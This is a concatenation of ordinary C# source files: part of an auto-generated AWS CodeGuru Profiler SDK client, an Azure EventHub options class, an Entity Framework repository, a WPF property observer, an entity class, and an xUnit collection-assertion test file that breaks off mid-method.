/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/PostAgentProfile">REST API Reference for PostAgentProfile Operation</seealso>
public virtual PostAgentProfileResponse PostAgentProfile(PostAgentProfileRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = PostAgentProfileRequestMarshaller.Instance;
options.ResponseUnmarshaller = PostAgentProfileResponseUnmarshaller.Instance;
return Invoke<PostAgentProfileResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the PostAgentProfile operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the PostAgentProfile operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndPostAgentProfile
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/PostAgentProfile">REST API Reference for PostAgentProfile Operation</seealso>
public virtual IAsyncResult BeginPostAgentProfile(PostAgentProfileRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = PostAgentProfileRequestMarshaller.Instance;
options.ResponseUnmarshaller = PostAgentProfileResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the PostAgentProfile operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginPostAgentProfile.</param>
///
/// <returns>Returns a PostAgentProfileResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/PostAgentProfile">REST API Reference for PostAgentProfile Operation</seealso>
public virtual PostAgentProfileResponse EndPostAgentProfile(IAsyncResult asyncResult)
{
return EndInvoke<PostAgentProfileResponse>(asyncResult);
}
#endregion
#region PutPermission
/// <summary>
/// Adds permissions to a profiling group's resource-based policy that are provided using
/// an action group. If a profiling group doesn't have a resource-based policy, one is
/// created for it using the permissions in the action group and the roles and users in
/// the <code>principals</code> parameter.
///
/// <pre><code> <p> The one supported action group that can be added is <code>agentPermission</code>
/// which grants <code>ConfigureAgent</code> and <code>PostAgent</code>
/// permissions. For more information, see <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-ug/resource-based-policies.html">Resource-based
/// policies in CodeGuru Profiler</a> in the <i>Amazon CodeGuru Profiler User
/// Guide</i>, <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_ConfigureAgent.html">
/// <code>ConfigureAgent</code> </a>, and <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_PostAgentProfile.html">
/// <code>PostAgentProfile</code> </a>. </p> <p> The first
/// time you call <code>PutPermission</code> on a profiling group, do not
/// specify a <code>revisionId</code> because it doesn't have a resource-based
/// policy. Subsequent calls must provide a <code>revisionId</code> to specify
/// which revision of the resource-based policy to add the permissions to. </p>
/// <p> The response contains the profiling group's JSON-formatted resource policy.
/// </p> </code></pre>
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the PutPermission service method.</param>
///
/// <returns>The response from the PutPermission service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ConflictException">
/// The requested operation would cause a conflict with the current state of a service
/// resource associated with the request. Resolve the conflict before retrying this request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/PutPermission">REST API Reference for PutPermission Operation</seealso>
public virtual PutPermissionResponse PutPermission(PutPermissionRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = PutPermissionRequestMarshaller.Instance;
options.ResponseUnmarshaller = PutPermissionResponseUnmarshaller.Instance;
return Invoke<PutPermissionResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the PutPermission operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the PutPermission operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndPutPermission
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/PutPermission">REST API Reference for PutPermission Operation</seealso>
public virtual IAsyncResult BeginPutPermission(PutPermissionRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = PutPermissionRequestMarshaller.Instance;
options.ResponseUnmarshaller = PutPermissionResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the PutPermission operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginPutPermission.</param>
///
/// <returns>Returns a PutPermissionResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/PutPermission">REST API Reference for PutPermission Operation</seealso>
public virtual PutPermissionResponse EndPutPermission(IAsyncResult asyncResult)
{
return EndInvoke<PutPermissionResponse>(asyncResult);
}
#endregion
#region RemoveNotificationChannel
/// <summary>
/// Remove one anomaly notifications channel for a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the RemoveNotificationChannel service method.</param>
///
/// <returns>The response from the RemoveNotificationChannel service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/RemoveNotificationChannel">REST API Reference for RemoveNotificationChannel Operation</seealso>
public virtual RemoveNotificationChannelResponse RemoveNotificationChannel(RemoveNotificationChannelRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = RemoveNotificationChannelRequestMarshaller.Instance;
options.ResponseUnmarshaller = RemoveNotificationChannelResponseUnmarshaller.Instance;
return Invoke<RemoveNotificationChannelResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the RemoveNotificationChannel operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the RemoveNotificationChannel operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndRemoveNotificationChannel
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/RemoveNotificationChannel">REST API Reference for RemoveNotificationChannel Operation</seealso>
public virtual IAsyncResult BeginRemoveNotificationChannel(RemoveNotificationChannelRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = RemoveNotificationChannelRequestMarshaller.Instance;
options.ResponseUnmarshaller = RemoveNotificationChannelResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the RemoveNotificationChannel operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginRemoveNotificationChannel.</param>
///
/// <returns>Returns a RemoveNotificationChannelResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/RemoveNotificationChannel">REST API Reference for RemoveNotificationChannel Operation</seealso>
public virtual RemoveNotificationChannelResponse EndRemoveNotificationChannel(IAsyncResult asyncResult)
{
return EndInvoke<RemoveNotificationChannelResponse>(asyncResult);
}
#endregion
#region RemovePermission
/// <summary>
/// Removes permissions from a profiling group's resource-based policy that are provided
/// using an action group. The one supported action group that can be removed is <code>agentPermission</code>
/// which grants <code>ConfigureAgent</code> and <code>PostAgent</code> permissions. For
/// more information, see <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-ug/resource-based-policies.html">Resource-based
/// policies in CodeGuru Profiler</a> in the <i>Amazon CodeGuru Profiler User Guide</i>,
/// <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_ConfigureAgent.html">
/// <code>ConfigureAgent</code> </a>, and <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_PostAgentProfile.html">
/// <code>PostAgentProfile</code> </a>.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the RemovePermission service method.</param>
///
/// <returns>The response from the RemovePermission service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ConflictException">
/// The requested operation would cause a conflict with the current state of a service
/// resource associated with the request. Resolve the conflict before retrying this request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/RemovePermission">REST API Reference for RemovePermission Operation</seealso>
public virtual RemovePermissionResponse RemovePermission(RemovePermissionRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = RemovePermissionRequestMarshaller.Instance;
options.ResponseUnmarshaller = RemovePermissionResponseUnmarshaller.Instance;
return Invoke<RemovePermissionResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the RemovePermission operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the RemovePermission operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndRemovePermission
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/RemovePermission">REST API Reference for RemovePermission Operation</seealso>
public virtual IAsyncResult BeginRemovePermission(RemovePermissionRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = RemovePermissionRequestMarshaller.Instance;
options.ResponseUnmarshaller = RemovePermissionResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the RemovePermission operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginRemovePermission.</param>
///
/// <returns>Returns a RemovePermissionResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/RemovePermission">REST API Reference for RemovePermission Operation</seealso>
public virtual RemovePermissionResponse EndRemovePermission(IAsyncResult asyncResult)
{
return EndInvoke<RemovePermissionResponse>(asyncResult);
}
#endregion
#region SubmitFeedback
/// <summary>
/// Sends feedback to CodeGuru Profiler about whether the anomaly detected by the analysis
/// is useful or not.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the SubmitFeedback service method.</param>
///
/// <returns>The response from the SubmitFeedback service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/SubmitFeedback">REST API Reference for SubmitFeedback Operation</seealso>
public virtual SubmitFeedbackResponse SubmitFeedback(SubmitFeedbackRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = SubmitFeedbackRequestMarshaller.Instance;
options.ResponseUnmarshaller = SubmitFeedbackResponseUnmarshaller.Instance;
return Invoke<SubmitFeedbackResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the SubmitFeedback operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the SubmitFeedback operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndSubmitFeedback
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/SubmitFeedback">REST API Reference for SubmitFeedback Operation</seealso>
public virtual IAsyncResult BeginSubmitFeedback(SubmitFeedbackRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = SubmitFeedbackRequestMarshaller.Instance;
options.ResponseUnmarshaller = SubmitFeedbackResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the SubmitFeedback operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginSubmitFeedback.</param>
///
/// <returns>Returns a SubmitFeedbackResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/SubmitFeedback">REST API Reference for SubmitFeedback Operation</seealso>
public virtual SubmitFeedbackResponse EndSubmitFeedback(IAsyncResult asyncResult)
{
return EndInvoke<SubmitFeedbackResponse>(asyncResult);
}
#endregion
#region TagResource
/// <summary>
/// Use to assign one or more tags to a resource.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the TagResource service method.</param>
///
/// <returns>The response from the TagResource service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/TagResource">REST API Reference for TagResource Operation</seealso>
public virtual TagResourceResponse TagResource(TagResourceRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = TagResourceRequestMarshaller.Instance;
options.ResponseUnmarshaller = TagResourceResponseUnmarshaller.Instance;
return Invoke<TagResourceResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the TagResource operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the TagResource operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndTagResource
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/TagResource">REST API Reference for TagResource Operation</seealso>
public virtual IAsyncResult BeginTagResource(TagResourceRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = TagResourceRequestMarshaller.Instance;
options.ResponseUnmarshaller = TagResourceResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the TagResource operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginTagResource.</param>
///
/// <returns>Returns a TagResourceResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/TagResource">REST API Reference for TagResource Operation</seealso>
public virtual TagResourceResponse EndTagResource(IAsyncResult asyncResult)
{
return EndInvoke<TagResourceResponse>(asyncResult);
}
#endregion
#region UntagResource
/// <summary>
/// Use to remove one or more tags from a resource.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the UntagResource service method.</param>
///
/// <returns>The response from the UntagResource service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/UntagResource">REST API Reference for UntagResource Operation</seealso>
public virtual UntagResourceResponse UntagResource(UntagResourceRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = UntagResourceRequestMarshaller.Instance;
options.ResponseUnmarshaller = UntagResourceResponseUnmarshaller.Instance;
return Invoke<UntagResourceResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the UntagResource operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the UntagResource operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndUntagResource
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/UntagResource">REST API Reference for UntagResource Operation</seealso>
public virtual IAsyncResult BeginUntagResource(UntagResourceRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = UntagResourceRequestMarshaller.Instance;
options.ResponseUnmarshaller = UntagResourceResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the UntagResource operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginUntagResource.</param>
///
/// <returns>Returns a UntagResourceResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/UntagResource">REST API Reference for UntagResource Operation</seealso>
public virtual UntagResourceResponse EndUntagResource(IAsyncResult asyncResult)
{
return EndInvoke<UntagResourceResponse>(asyncResult);
}
#endregion
#region UpdateProfilingGroup
/// <summary>
/// Updates a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the UpdateProfilingGroup service method.</param>
///
/// <returns>The response from the UpdateProfilingGroup service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ConflictException">
/// The requested operation would cause a conflict with the current state of a service
/// resource associated with the request. Resolve the conflict before retrying this request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/UpdateProfilingGroup">REST API Reference for UpdateProfilingGroup Operation</seealso>
public virtual UpdateProfilingGroupResponse UpdateProfilingGroup(UpdateProfilingGroupRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = UpdateProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = UpdateProfilingGroupResponseUnmarshaller.Instance;
return Invoke<UpdateProfilingGroupResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the UpdateProfilingGroup operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the UpdateProfilingGroup operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndUpdateProfilingGroup
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/UpdateProfilingGroup">REST API Reference for UpdateProfilingGroup Operation</seealso>
public virtual IAsyncResult BeginUpdateProfilingGroup(UpdateProfilingGroupRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = UpdateProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = UpdateProfilingGroupResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the UpdateProfilingGroup operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginUpdateProfilingGroup.</param>
///
/// <returns>Returns a UpdateProfilingGroupResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/UpdateProfilingGroup">REST API Reference for UpdateProfilingGroup Operation</seealso>
public virtual UpdateProfilingGroupResponse EndUpdateProfilingGroup(IAsyncResult asyncResult)
{
return EndInvoke<UpdateProfilingGroupResponse>(asyncResult);
}
#endregion
}
} | 60.520755 | 202 | 0.673917 | [
"Apache-2.0"
] | philasmar/aws-sdk-net | sdk/src/Services/CodeGuruProfiler/Generated/_bcl35/AmazonCodeGuruProfilerClient.cs | 112,266 | C# |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// <auto-generated/>
#nullable disable
using Azure.Core;
namespace Azure.Management.EventHub
{
/// <summary> Client options for EventHub. </summary>
public class EventHubManagementClientOptions : ClientOptions
{
}
}
| 19.529412 | 64 | 0.722892 | [
"MIT"
] | LeighS/azure-sdk-for-net | sdk/eventhub/Azure.Management.EventHub/src/Generated/EventHubManagementClientOptions.cs | 332 | C# |
namespace LetsSport.Data.Repositories
{
using System;
using System.Linq;
using System.Threading.Tasks;
using LetsSport.Data.Common.Repositories;
using Microsoft.EntityFrameworkCore;
public class EfRepository<TEntity> : IRepository<TEntity>
where TEntity : class
{
public EfRepository(ApplicationDbContext context)
{
this.Context = context ?? throw new ArgumentNullException(nameof(context));
this.DbSet = this.Context.Set<TEntity>();
}
protected DbSet<TEntity> DbSet { get; set; }
protected ApplicationDbContext Context { get; set; }
public virtual IQueryable<TEntity> All() => this.DbSet;
public virtual IQueryable<TEntity> AllAsNoTracking() => this.DbSet.AsNoTracking();
public virtual Task AddAsync(TEntity entity) => this.DbSet.AddAsync(entity).AsTask();
public virtual void Update(TEntity entity)
{
var entry = this.Context.Entry(entity);
if (entry.State == EntityState.Detached)
{
this.DbSet.Attach(entity);
}
entry.State = EntityState.Modified;
}
public virtual void Delete(TEntity entity) => this.DbSet.Remove(entity);
public Task<int> SaveChangesAsync() => this.Context.SaveChangesAsync();
public void Dispose()
{
this.Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
this.Context?.Dispose();
}
}
}
}
| 28.016949 | 93 | 0.596491 | [
"MIT"
] | yotkoKanchev/LetsSport | Data/LetsSport.Data/Repositories/EfRepository.cs | 1,655 | C# |
namespace Ticker.WpfShared.Commands
{
using System;
using System.ComponentModel;
using System.Reflection;
internal class PropertyObserverNode
{
private readonly Action action;
private INotifyPropertyChanged inpcObject;
public PropertyObserverNode(PropertyInfo propertyInfo, Action action)
{
this.PropertyInfo = propertyInfo ?? throw new ArgumentNullException(nameof(propertyInfo));
this.action = () =>
{
action?.Invoke();
if (this.Next == null)
{
return;
}
this.Next.UnsubscribeListener();
this.GenerateNextNode();
};
}
public PropertyInfo PropertyInfo { get; }
public PropertyObserverNode Next { get; set; }
public void SubscribeListenerFor(INotifyPropertyChanged inInpcObject)
{
this.inpcObject = inInpcObject;
this.inpcObject.PropertyChanged += this.OnPropertyChanged;
if (this.Next != null)
{
this.GenerateNextNode();
}
}
private void GenerateNextNode()
{
var nextProperty = this.PropertyInfo.GetValue(this.inpcObject);
if (nextProperty == null)
{
return;
}
if (!(nextProperty is INotifyPropertyChanged nextInpcObject))
{
throw new InvalidOperationException("Trying to subscribe PropertyChanged listener in object that " +
$"owns '{this.Next.PropertyInfo.Name}' property, but the object does not implements INotifyPropertyChanged.");
}
this.Next.SubscribeListenerFor(nextInpcObject);
}
private void UnsubscribeListener()
{
if (this.inpcObject != null)
{
this.inpcObject.PropertyChanged -= this.OnPropertyChanged;
}
this.Next?.UnsubscribeListener();
}
private void OnPropertyChanged(object sender, PropertyChangedEventArgs e)
{
if (e?.PropertyName == this.PropertyInfo.Name || e?.PropertyName == null)
{
this.action?.Invoke();
}
}
}
} | 30.675325 | 162 | 0.544877 | [
"MIT"
] | CJones-Sumo/TickerExample | Ticker.WpfShared/Commands/PropertyObserverNode.cs | 2,364 | C# |
using System;
using System.Collections.Generic;
namespace EFCoreDemos.EFCSharp.Entities
{
public partial class EmailsBeans
{
public string Id { get; set; }
public string EmailId { get; set; }
public string BeanId { get; set; }
public string BeanModule { get; set; }
public string CampaignData { get; set; }
public DateTime? DateModified { get; set; }
public sbyte? Deleted { get; set; }
}
}
| 27.117647 | 51 | 0.624729 | [
"MIT"
] | AlexHart/.NET-Core-DB-demos | DbCoreDemos.EFCSharp/Entities/EmailsBeans.cs | 463 | C# |
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using NSubstitute;
using Xunit;
using Xunit.Sdk;
public class CollectionAssertsTests
{
public class All
{
[Fact]
public static void NullCollectionThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.All<object>(null, _ => { }));
}
[Fact]
public static void NullActionThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.All<object>(new object[0], null));
}
[Fact]
public static void ActionWhereSomeFail()
{
var items = new[] { 1, 1, 2, 2, 1, 1 };
var ex = Assert.Throws<AllException>(() => Assert.All(items, x => Assert.Equal(1, x)));
Assert.Equal(2, ex.Failures.Count);
Assert.All(ex.Failures, x => Assert.IsType<EqualException>(x));
}
[Fact]
public static void ActionWhereNoneFail()
{
var items = new[] { 1, 1, 1, 1, 1, 1 };
Assert.All(items, x => Assert.Equal(1, x));
}
[Fact]
public static void ActionWhereAllFail()
{
var items = new[] { 1, 1, 2, 2, 1, 1 };
var ex = Assert.Throws<AllException>(() => Assert.All(items, x => Assert.Equal(0, x)));
Assert.Equal(6, ex.Failures.Count);
Assert.All(ex.Failures, x => Assert.IsType<EqualException>(x));
}
[Fact]
public static void CollectionWithNullThrowsAllException()
{
object[] collection = new object[]
{
new object(),
null
};
var ex = Assert.Throws<AllException>(() => Assert.All(collection, Assert.NotNull));
Assert.Contains("[1]: Item: ", ex.Message);
}
}
public class Collection
{
[Fact]
public static void EmptyCollection()
{
var list = new List<int>();
Assert.Collection(list);
}
[Fact]
public static void MismatchedElementCount()
{
var list = new List<int>();
var ex = Record.Exception(
() => Assert.Collection(list,
item => Assert.True(false)
)
);
var collEx = Assert.IsType<CollectionException>(ex);
Assert.Equal(1, collEx.ExpectedCount);
Assert.Equal(0, collEx.ActualCount);
Assert.Equal("Assert.Collection() Failure" + Environment.NewLine +
"Collection: []" + Environment.NewLine +
"Expected item count: 1" + Environment.NewLine +
"Actual item count: 0", collEx.Message);
Assert.Null(collEx.InnerException);
}
[Fact]
public static void NonEmptyCollection()
{
var list = new List<int> { 42, 2112 };
Assert.Collection(list,
item => Assert.Equal(42, item),
item => Assert.Equal(2112, item)
);
}
[Fact]
public static void MismatchedElement()
{
var list = new List<int> { 42, 2112 };
var ex = Record.Exception(() =>
Assert.Collection(list,
item => Assert.Equal(42, item),
item => Assert.Equal(2113, item)
)
);
var collEx = Assert.IsType<CollectionException>(ex);
Assert.Equal(1, collEx.IndexFailurePoint);
Assert.Equal("Assert.Collection() Failure" + Environment.NewLine +
"Collection: [42, 2112]" + Environment.NewLine +
"Error during comparison of item at index 1" + Environment.NewLine +
"Inner exception: Assert.Equal() Failure" + Environment.NewLine +
" Expected: 2113" + Environment.NewLine +
" Actual: 2112", ex.Message);
}
}
public class Contains
{
[Fact]
public static void GuardClause()
{
Assert.Throws<ArgumentNullException>("collection", () => Assert.Contains(14, (List<int>)null));
}
[Fact]
